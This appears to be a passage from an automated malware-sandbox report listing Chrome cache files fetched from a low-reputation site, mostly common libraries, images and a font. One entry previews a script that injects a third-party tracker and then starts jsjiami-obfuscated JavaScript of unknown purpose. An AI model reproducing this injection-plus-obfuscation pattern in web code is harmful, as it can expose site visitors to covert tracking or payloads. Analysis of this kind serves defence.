SHA-512:	74DF26DAA9919D7104E59C7D1413626083C000BCF17D3D3FBD827609C90CA713F2E63385E7F9591E2AB841AE71C16B8F053FE65DDAE6DB34B8F052075D4BB966
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/image/shape1.png
Preview:	.PNG........IHDR...>...B.....x&Uh....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:59D5485F5A1F11EBAC8D8D38E16AC580" xmpMM:DocumentID="xmp.did:59D548605A1F11EBAC8D8D38E16AC580"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:59D5485D5A1F11EBAC8D8D38E16AC580" stRef:documentID="xmp.did:59D5485E5A1F11EBAC8D8D38E16AC580"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>r0.*...QIDATx.b`.........&d.3......D888.cUill..ckii..h///;&.$..g.yxx8...... ...W......@.._........;w.\|.6...U....

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31997), with CRLF line terminators
Category:	dropped
Size (bytes):	44348
Entropy (8bit):	5.080631784451867
Encrypted:	false
SSDEEP:	768:RCI7dmuMFAAJG4dlQKNORpnXGAtep2lcwJeL+wr2RSNc7UuHjRUQuFBt33:AITMFC4dbMVRSNcgRDV
MD5:	47C357C05CB99CEDBAC2874840319818
SHA1:	D8B05365DE4B760618328FDEEF7672E8374978E4
SHA-256:	4E0781BDD2CBB5DB04DA3B5E059EECA34E325FABB893BEE7457B5BABF5B7C029
SHA-512:	960B76113C78220ACC1C87E437C6698FBF1066B8CF7B15A6D4D33F31AB69D8E16BD9823C07CE1897DB4D0BDFE08B39E5C7085B79A7A8EF80760E87D9AA789E2E
Malicious:	false
Reputation:	low
Preview:	/*.. Owl Carousel v2.3.4.. * Copyright 2013-2018 David Deutsch.. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE.. */..!function(a,b,c,d){function e(b,c){this.settings=null,this.options=a.extend({},e.Defaults,c),this.$element=a(b),this._handlers={},this._plugins={},this._supress={},this._current=null,this._speed=null,this._coordinates=[],this._breakpoint=null,this._width=null,this._items=[],this._clones=[],this._mergers=[],this._widths=[],this._invalidated={},this._pipe=[],this._drag={time:null,target:null,pointer:null,stage:{start:null,current:null},direction:null},this._states={current:{},tags:{initializing:["busy"],animating:["busy"],dragging:["interacting"]}},a.each(["onResize","onThrottledResize"],a.proxy(function(b,c){this._handlers[c]=a.proxy(this[c],this)},this)),a.each(e.Plugins,a.proxy(function(a,b){this._plugins[a.charAt(0).toLowerCase()+a.slice(1)]=new b(this)},this)),a.each(e.Workers,a.proxy(function(b,c){this._pipe.push

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality", baseline, precision 8, 320x180, components 3
Category:	dropped
Size (bytes):	13867
Entropy (8bit):	7.967754768760031
Encrypted:	false
SSDEEP:	192:GYBXoCuM09X4pXFULT//EerVsg2M28RIusRbazYUPnW2O7FFotsFxNgw3sE8KBpt:GEf09O1Uv//m8Rfwb05WkasEXt
MD5:	F35EBDF15A728AB8E9A27CBAB2E2368B
SHA1:	F03C23B37BAD31EBD5E5C1F598E5F75CD6BC3A92
SHA-256:	D0BAAB66B2FED0AC8E13A0C593B33D1293C141EE91438E947DB6493819A4FA48
SHA-512:	7185DCA5DAE749623228A8AF478CCD3E21DC9D7FC6FAF64345BBC6DF008F28D4807B7739087CD596C03416C253851658081D2C2FAB4552E31563884F0CB04D8B
Malicious:	false
Reputation:	low
Preview:	......JFIF.....`.`.....>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........@.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..........q....f...P..).2.....,...........>jk`...S.4.<....8..Q]...KR...b.NM..W........"........g.......9.4....$.Ip.c].u... E.'.h.[h\|..k`d....B.!.._..^..t.5.f\|.b...&2.qV.t]B.1$P.Q..4.......1#...`y....qr......6.....-^....~R..t<..;5.R.F.......OM...Q[hL.A..<W..Z.Z......P...<=,r.$.Cc.........g..J..:.Z

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (746), with CRLF line terminators
Category:	downloaded
Size (bytes):	1844
Entropy (8bit):	5.235974350698717
Encrypted:	false
SSDEEP:	24:Te8aw3XpiJc472t2LanC8XOz3BqQO+SRQLb10QHrf7RG5g72S1In1q8UIO91bXfZ:3l3XwqDt2LaCtz3LLbg5gaM61UN1rBMO
MD5:	D927454792BDFD87B67D5AAF97B1546F
SHA1:	05BB1BD107971ED8B82BACBA5F01D9CA3B5E777D
SHA-256:	7F9E48827DA7B092D036C3280B7433D37CE9F9BFAFF6CDECACA6AF14663C240B
SHA-512:	CD39FC6EE0BBB02EA3F18ABB2F1A5AB5332EFF140EEE8C61065DE35F9B776B8DF052452C08AAF34C7C11190EA95268CA960E7A2642DD9D053D3AA442DA078176
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/js/appear.min.js
Preview:	/.. jQuery.appear.. * https://github.com/bas2k/jquery.appear/.. * http://code.google.com/p/jquery-appear/.. * http://bas2k.ru/.. .. Copyright (c) 2009 Michael Hixson.. * Copyright (c) 2012-2014 Alexander Brovikov.. * Licensed under the MIT license (http://www.opensource.org/licenses/mit-license.php).. */..(function($){$.fn.appear=function(fn,options){var settings=$.extend({data:undefined,one:!0,accX:0,accY:0},options);return this.each(function(){var t=$(this);t.appeared=!1;if(!fn){t.trigger('appear',settings.data);return}..var w=$(window);var check=function(){if(!t.is(':visible')){t.appeared=!1;return}..var a=w.scrollLeft();var b=w.scrollTop();var o=t.offset();var x=o.left;var y=o.top;var ax=settings.accX;var ay=settings.accY;var th=t.height();var wh=w.height();var tw=t.width();var ww=w.width();if(y+th+ay>=b&&y<=b+wh+ay&&x+tw+ax>=a&&x<=a+ww+ax){if(!t.appeared)t.trigger('appear',settings.data)}else{t.appeared=!1}};var modifiedFn=function(){t.appeared=!0;if(settings.one){w.unbind('

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450), with CRLF line terminators
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.289681277871087
Encrypted:	false
SSDEEP:	1536:/jExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakV:/Yh8eip3huuf6IidlrvakdtQ47GKl
MD5:	9AC39DC31635A363E377EDA0F6FBE03F
SHA1:	29FA5AD995E9EC866ECE1D3D0B698FC556580EEE
SHA-256:	9A2723C21FB1B7DFF0E2AA5DC6BE24A9670220A17AE21F70FDBC602D1F8ACD38
SHA-512:	0799AE01799707B444FCA518C3AF9B91FDA40D0A2C114E84BC52BD1F756B5E0D60F6FD239F04BD4D5BC37B6CDBF02D299185CD62410F2A514A7B3BD4D60B49FC
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/js/jquery.min.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /..!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 485 x 100, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	22127
Entropy (8bit):	7.979556502377474
Encrypted:	false
SSDEEP:	384:LcsIb0LolzTatd1vsBvB9iDfildUk1vmMAwVdfM0htufeAM+YEBx9kt3V/CPJojm:gTbcodAdKBvB0ubUiVdfM0QLk/6J
MD5:	82BDF36720A5F25DC553D03AAE99199C
SHA1:	2C289DD3EBD3A60A58A93ECC2445505A92BC44AF
SHA-256:	58877D4CD79E7A9DAF6185A2E63AB247604754FBA673C5CD618D9A56E04A25EF
SHA-512:	2F03FBC0F369B191111C7EAF350581B783DCC7619236B8B5DCAB250A6CE5C23C91E3ADEE533A28BF4E9B0026AECC0EFF6404E30F44804887B8AC095CFB3051D2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......d.......(.....pHYs..........+.... .IDATx..w.$Wy...\..{.gv.wf.j..JZe.$...D0`#.\.1....0..q...i....6...\....Y"K.$5.aW...a6..N..X...U.zzvzvgv.....3.U..NWW....y.DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD.)1M..K.............^U..:........8.H....T.5..>.a.F.i..0.y...:q]n.jm........p.;.JL../.../...c.......x..)1..L6.cS...izzE..F:..`j....=o..'..J..{.......I.......J(..x....S.../..C..M_...... &.../"........e[....@ 7.....C+x.R:9Z.....7.....b.t.s..""""""N..!........^t.P..j.KR.dM/..F...Mv.X6..m....,.../.&.q...eE.nL....z..#..=.u./..'.EJM...'.].._....H6GDDDD._...W.........Tj.j...,u[J._r....p,.YQ..../b...p..8<K.Q..n.!.S0..M.wb....J\7.9>.U.cI.....%..<9.4..O?x....;........9.c........c.......<r.....`..U..eL_..x....x.EJ..0\.;.].&....d...>....a...&....w^.....u.f..7k...s....).Gx...c...........q.9.B....=..v.\.60!....z... )y..>..2........<...<s6.....@L..g7`9>F..gV../.s.H.}S7O=3JF.u....SdzU.).#...............s.....].z?>..^.~m.7>?..=>......t.?......I

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10241), with CRLF line terminators
Category:	downloaded
Size (bytes):	10264
Entropy (8bit):	5.249226267181354
Encrypted:	false
SSDEEP:	192:kABzlvQK8QecCHAOcu2a+OdI5s/GMb8XuulT:vBhv18QecCxVxz+7dlT
MD5:	CBBE383A299D4CD3C5AFD850E23B93E2
SHA1:	A57FAB98EED3EE4DA231031C823C0DFE71435E5D
SHA-256:	B98842A571AA1F32F8797A9D08186BB021F258925A8DB4FE57D60129B858B1EC
SHA-512:	85B7267F38755128DFF6D6435F050B949D6B99C72290C00D6813B16207C8E3E70AE01300F4269FE28DF87960BE5EF2211C3CE4929EA36AE866BB0E6FF7F849E4
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/js/odometer.min.js
Preview:	/! odometer 0.4.8 /..(function(){var a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C,D,E,F,G=[].slice;q='<span class="odometer-value"></span>',n='<span class="odometer-ribbon"><span class="odometer-ribbon-inner">'+q+"</span></span>",d='<span class="odometer-digit"><span class="odometer-digit-spacer">8</span><span class="odometer-digit-inner">'+n+"</span></span>",g='<span class="odometer-formatting-mark"></span>',c="(,ddd).dd",h=/^$?([^)]*)$?(?:(.)(d+))?$/,i=30,f=2e3,a=20,j=2,e=.5,k=1e3/i,b=1e3/a,o="transitionend webkitTransitionEnd oTransitionEnd otransitionend MSTransitionEnd",y=document.createElement("div").style,p=null!=y.transition\|\|null!=y.webkitTransition\|\|null!=y.mozTransition\|\|null!=y.oTransition,w=window.requestAnimationFrame\|\|window.mozRequestAnimationFrame\|\|window.webkitRequestAnimationFrame\|\|window.msRequestAnimationFrame,l=window.MutationObserver\|\|window.WebKitMutationObserver\|\|window.MozMutationObserver,s=function(a){var b;return b=document.createElement("di

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 485 x 100, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	22127
Entropy (8bit):	7.979556502377474
Encrypted:	false
SSDEEP:	384:LcsIb0LolzTatd1vsBvB9iDfildUk1vmMAwVdfM0htufeAM+YEBx9kt3V/CPJojm:gTbcodAdKBvB0ubUiVdfM0QLk/6J
MD5:	82BDF36720A5F25DC553D03AAE99199C
SHA1:	2C289DD3EBD3A60A58A93ECC2445505A92BC44AF
SHA-256:	58877D4CD79E7A9DAF6185A2E63AB247604754FBA673C5CD618D9A56E04A25EF
SHA-512:	2F03FBC0F369B191111C7EAF350581B783DCC7619236B8B5DCAB250A6CE5C23C91E3ADEE533A28BF4E9B0026AECC0EFF6404E30F44804887B8AC095CFB3051D2
Malicious:	false
Reputation:	low
URL:	https://imagesspace.hks3.layerstackobjects.com/images/img_678003648509e8.27521784.png
Preview:	.PNG........IHDR.......d.......(.....pHYs..........+.... .IDATx..w.$Wy...\..{.gv.wf.j..JZe.$...D0`#.\.1....0..q...i....6...\....Y"K.$5.aW...a6..N..X...U.zzvzvgv.....3.U..NWW....y.DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD.)1M..K.............^U..:........8.H....T.5..>.a.F.i..0.y...:q]n.jm........p.;.JL../.../...c.......x..)1..L6.cS...izzE..F:..`j....=o..'..J..{.......I.......J(..x....S.../..C..M_...... &.../"........e[....@ 7.....C+x.R:9Z.....7.....b.t.s..""""""N..!........^t.P..j.KR.dM/..F...Mv.X6..m....,.../.&.q...eE.nL....z..#..=.u./..'.EJM...'.].._....H6GDDDD._...W.........Tj.j...,u[J._r....p,.YQ..../b...p..8<K.Q..n.!.S0..M.wb....J\7.9>.U.cI.....%..<9.4..O?x....;........9.c........c.......<r.....`..U..eL_..x....x.EJ..0\.;.].&....d...>....a...&....w^.....u.f..7k...s....).Gx...c...........q.9.B....=..v.\.60!....z... )y..>..2........<...<s6.....@L..g7`9>F..gV../.s.H.}S7O=3JF.u....SdzU.).#...............s.....].z?>..^.~m.7>?..=>......t.?......I

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450), with CRLF line terminators
Category:	dropped
Size (bytes):	89476
Entropy (8bit):	5.289681277871087
Encrypted:	false
SSDEEP:	1536:/jExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakV:/Yh8eip3huuf6IidlrvakdtQ47GKl
MD5:	9AC39DC31635A363E377EDA0F6FBE03F
SHA1:	29FA5AD995E9EC866ECE1D3D0B698FC556580EEE
SHA-256:	9A2723C21FB1B7DFF0E2AA5DC6BE24A9670220A17AE21F70FDBC602D1F8ACD38
SHA-512:	0799AE01799707B444FCA518C3AF9B91FDA40D0A2C114E84BC52BD1F756B5E0D60F6FD239F04BD4D5BC37B6CDBF02D299185CD62410F2A514A7B3BD4D60B49FC
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /..!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65296), with CRLF line terminators
Category:	downloaded
Size (bytes):	153071
Entropy (8bit):	5.059154360484728
Encrypted:	false
SSDEEP:	1536:+tfJxYrkplD+sEBpy0cuJc222DWg5SNVUpz600I4fM:+tfJ1NVUpz600I4fM
MD5:	F215DD6C7737957139DDBBE7F428D00C
SHA1:	BD0DF65F1DC1E0B78F6D99EA542B12FDD8ED2EC7
SHA-256:	D38D7F8161C1552A810C1784A471EEB8F76D3828F3D574BA22756E1F92713CF1
SHA-512:	CDB4E3FC10BC8476E6E50F0F95362E5B28FC7B71FA912F3AE84BD516E5178081B92DAD34D0E07A7730A25FBB19B41152EFAA1749F6AB86FB5A0B571B1052B221
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/css/bootstrap.min.css
Preview:	@charset "UTF-8";/!.. Bootstrap v5.0.0-beta1 (https://getbootstrap.com/).. * Copyright 2011-2020 The Bootstrap Authors.. * Copyright 2011-2020 Twitter, Inc... * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE).. */:root{--bs-blue:#0d6efd;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#dc3545;--bs-orange:#fd7e14;--bs-yellow:#ffc107;--bs-green:#198754;--bs-teal:#20c997;--bs-cyan:#0dcaf0;--bs-white:#fff;--bs-gray:#6c757d;--bs-gray-dark:#343a40;--bs-primary:#0d6efd;--bs-secondary:#6c757d;--bs-success:#198754;--bs-info:#0dcaf0;--bs-warning:#ffc107;--bs-danger:#dc3545;--bs-light:#f8f9fa;--bs-dark:#212529;--bs-font-sans-serif:system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--bs-font-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--bs-gradient:linear-gradient(180deg, rgba(255,

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	28556
Entropy (8bit):	7.946444287602388
Encrypted:	false
SSDEEP:	768:C564Soh5XWUtbi70tNb5zrgHQPHM764dbLkcsB:O64p5X1G70t5eHQPsrfDsB
MD5:	CB3DAB811A0911775D2FD38F40D0FF5C
SHA1:	9A0E1BDCE50495274E227F45CA035DEF9B2DFE92
SHA-256:	61E43E3434673A1CF57A648BA4AB24FAEB11E08E9691F2D3A9C663E91EB9D1DC
SHA-512:	15447DB8983BB128EE2A576C4DCEF89FBF8D5049D6D2E20F21CDB4616188BBD8C34F502A3040A0AA487294DB99CFD9D288BAE43FE83F69651760F1EF612EAE72
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............x......sBIT....\|.d.....pHYs..........+......tEXtSoftware.www.inkscape.org..<... .IDATx...wt.....g.JZ.j.K.,...m...c....j..R..!...PB(........L...b.{/.........$Ks.....9{r.w.....6.U..L.0..P.U.....H.........^........r..L...s...`4.Jh...u.vm..I3.&h.e=...1.5..&.......0..o..@9..._>.....I;.-..z.....@.....2.GA..C.].\h....^..........[.....O.........VI..6..........}N1...x.@..K5...\.-i }2.\....5......w....w.5^.g....=H........=....Y.......(.....Z........^..Do.u..x..\|.vS...f....S.>;..K..Rh..&.=3.....a.l%.k..;..R.._Ak.2.....].'Ck6....%d;a.u...2h..t0;..._.....h..t....5...0.......B..D"9R...c.^z.Z......._...&h.6.Y......R.-9d.....i........w"e..m`..?.._1..C..._M..7.C_oB.4._..x.._.C_.B....LhO.Fv..y..p...7.......?..^5..7..P..ZkL....]....0..P.UP....W..S...@Q'B.qd......pp-)b".5..7.Z...`.g...s..7.4h3$...{.Z.`.!..Z...A.....k..A.D.9.@....z.Z.m.B_5.j.......R.>.U.A..m....W-..X.4X3.O...p......]...;{}.m.B_s,...V..z_......Xo8.......j.p..O.z..>.....W....?..n..

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5862), with CRLF line terminators
Category:	downloaded
Size (bytes):	6063
Entropy (8bit):	5.0931035592629
Encrypted:	false
SSDEEP:	96:HaMWGbU563CvldugvwYdfWA3oTa9+xcuS+5ijkunc9s5BeK7p8vmiIKpiyW:HaMW+U563CvzugvXdfZUopjkunosfR+W
MD5:	C4DAF2755CB5C35EB40079A0457AF6AF
SHA1:	98813BBFBC7A3B53B68457778CBF073281AF1ECB
SHA-256:	5932EF8C9C2D361A85D8834D47F508DBD305FDA081FB646C18F7FBE76839080A
SHA-512:	428AB339EAEE7B3DA2EE135AE6E9A99DD7626693027F1EB33A4239486475DCDA6BD40F2DFA40FED5D46728813354F874FEB0572F6806EA51C523EF6640825051
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/js/form-validator.min.js
Preview:	/!.. Validator v0.8.1 for Bootstrap 4, by @1000hz.. * Copyright 2015 Cina Saffary.. * Licensed under http://opensource.org/licenses/MIT.. .. https://github.com/1000hz/bootstrap-validator.. */....+function(a){"use strict";function b(b){return this.each(function(){var c=a(this),e=a.extend({},d.DEFAULTS,c.data(),"object"==typeof b&&b),f=c.data("bs.validator");(f\|\|"destroy"!=b)&&(f\|\|c.data("bs.validator",f=new d(this,e)),"string"==typeof b&&f[b]())})}var c=':input:not([type="submit"], button):enabled:visible',d=function(b,c){this.$element=a(b),this.options=c,c.errors=a.extend({},d.DEFAULTS.errors,c.errors);for(var e in c.custom)if(!c.errors[e])throw new Error("Missing default error message for custom validator: "+e);a.extend(d.VALIDATORS,c.custom),this.$element.attr("novalidate",!0),this.toggleSubmit(),this.$element.on("input.bs.validator change.bs.validator focusout.bs.validator",a.proxy(this.validateInput,this)),this.$element.on("submit.bs.validator",a.proxy(this.onSubmit,this)),th

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality", baseline, precision 8, 1080x720, components 3
Category:	dropped
Size (bytes):	85420
Entropy (8bit):	7.923413864131446
Encrypted:	false
SSDEEP:	1536:OhOpbHJIh8qMBx/draHKqIfGUY9UHe0ayi63bRXmO0N3bppvx5:CYLBxhUKqIfGIHe0aVKHo3Lp5
MD5:	DAD4C82E732F06B3C353AAB1366D40CB
SHA1:	E5B1887E6EBDC4D83A5205EAC687B2EB462CAE43
SHA-256:	5C316389073361E73E6BFB6B1E8915A59C6BFF2EF5F8A593B4757927F86E9ACB
SHA-512:	F22F1E8E5BA947A342ADAFC073A20D1802DCF6E19A5421684F942F65CF14A31FA66D56FA87A1B9F2FF305674D263DE2441356ABE055A8C3EB9F07AA3AE61D94D
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H.....>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........8.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....O.=iB...`&).S.....`..)v.I...iK.S..H..H,3y..&...J..4.......M!..Q.iF..94.LQ..<..E.0..8r(.s@.4.O=)6..9...Z\R......i.8..f..xJ..P..N.iUO.(.....)..8.....)..i...!4...PV...M;i...<t..b...nh....dQ....b........4..o...jcL4.....i.P...S.<.(.h..h...F..f.......z.(...4.....I..."..S..h.3.PLR.@..&..dP.6.i..K.

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 50668, version 1.0
Category:	downloaded
Size (bytes):	50668
Entropy (8bit):	7.995343115077577
Encrypted:	true
SSDEEP:	1536:KraROV6kihyz/2bWHHSAgMN0AiPBCAKeT4DCVS:Kra06khNHSAnGdwA3FS
MD5:	DAFD0A2E599F63FA9D7EE1D98FCE7F51
SHA1:	F8C0CB57F10ACD8F96623FBD2A7021253C860937
SHA-256:	6912F7388531E949BD5406B5668CD6B55FEA4CC7E2D123DBAED489054DD98438
SHA-512:	5A67EEA5B25198F054CED0BED062C05EE00364A8D87A96BF72608489F4CB7A16DC7627268C5E248E420AF2F4C03D3C54358B592E6612590C0378118FF805CE30
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/worksans/v19/QGYsz_wNahGAdqQ43Rh_fKDp.woff2
Preview:	wOF2...................w..........................l.......?HVAR.I.`?STAT.8'...>/~.....h..T..:.0..`.6.$..p. ..v.....[+....d.\E...>.?.[..R..j.6m..s..+#.,W.mY.q0@.^.......I2...pI......?U....!..L....\kU`Y..JGF.m?Jo..6.hk.............j...].......V.).EP..).(..,..7S.}....q..[ )..d.i.L.Ae1}..$^...^'1...Z.M.ZkA..N.I.B..}L.he..s....R)......:.t.z.....t..l....n.atz....:....."...X....h.....D..[W.......{..u...?ND:I...T....c.....{....89.{..rZ.O...Q...C......i....2...; ..r(5@.H$...B.v.).l...Mtsl.&.kX..].Z..y.#-c\.....;.UG..._....s..:p.#.:y..z>(..y..s..\|..cDDF....!@.."`.....+..c.E..d..%REP..RK....w._..(....+.........:.u..8k.?(....9s&w.......2up_.^.SF\|'..>.>.W_}.......T^..."".\...2.Uo../z..W[.x.H]....1.6.6.Q...~..].....M$Q...#.'...P%E.&.]..T....?...>L.. ...7I.d.0.lx......T..%q.~9.%..E... Z.HE)..B.]'...2....o...}_.}g.r.FP.G.w....YfP.}..1.....t.&9..-&#...9..Gt.p..@...$....-m...OS...CX..} ......8I..H.d..'........\|..fBN...;.D......].Z..r:;....B~.........k.

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (7187)
Category:	dropped
Size (bytes):	7747
Entropy (8bit):	5.737333126099899
Encrypted:	false
SSDEEP:	192:3LbwMfqEK6ZAcjoFquwfUfvMRFtTMPF/g5PFAAAmpC9yd+Yvmg:3Hw6DK6ZAc0FqXUXMFtTM0B/C9yd+Tg
MD5:	16CE6DE4C48A89ACF0CC98E08A2883FF
SHA1:	178BF599CDD3C6AAEDD8DBCB179A1F0AA409B1EC
SHA-256:	60B74EFEA154000BCB16A500B8A97470CC0512714859160D54E5CBFB5C4DAF98
SHA-512:	FE8D0B33596674638F00E55310C8E6711A202FDB4DE288463071A9DA2428335F24607C7DA637CA2E66BBC4E5FEADBF03F0A67DBC949B96C82CAC3BEB3C615DBF
Malicious:	false
Reputation:	low
Preview:	. document.write("<script>!function(p){\"use strict\";!function(t){var s=window,e=document,i=p,c=\"\".concat(\"https:\"===e.location.protocol?\"https://\":\"http://\",\"sdk.51.la/js-sdk-pro.min.js\"),n=e.createElement(\"script\"),r=e.getElementsByTagName(\"script\")[0];n.type=\"text/javascript\",n.setAttribute(\"charset\",\"UTF-8\"),n.async=!0,n.src=c,n.id=\"LA_COLLECT\",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:\"KQGOswWUPTJRCryv\",ck:\"KQGOswWUPTJRCryv\"});</script>")....var _0xod6='jsjiami.com.v7';var _0x4cd701=_0x50be;(function(_0x182b85,_0x40b41c,_0x4eab72,_0x291405,_0x457e6e,_0x593005,_0x30e5a8){return _0x182b85=_0x182b85>>0x9,_0x593005='hs',_0x30e5a8='hs',function(_0x365806,_0x5c3ae2,_0x2e8eae,_0x2f5f51,_0x554e07){var _0x271ef1=_0x50be;_0x2f5f51='tfi',_0x593005=_0x2f5f51+_0x593005,_0x554e07='up',_0x30e5a8+=_0x554e07,_0x593005=_0x2e8eae(_0x593005),_0x30e5a8=_0x2e8eae(_0x30e5a8),_0x2e8eae=0x0;var _0x

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2408), with CRLF line terminators
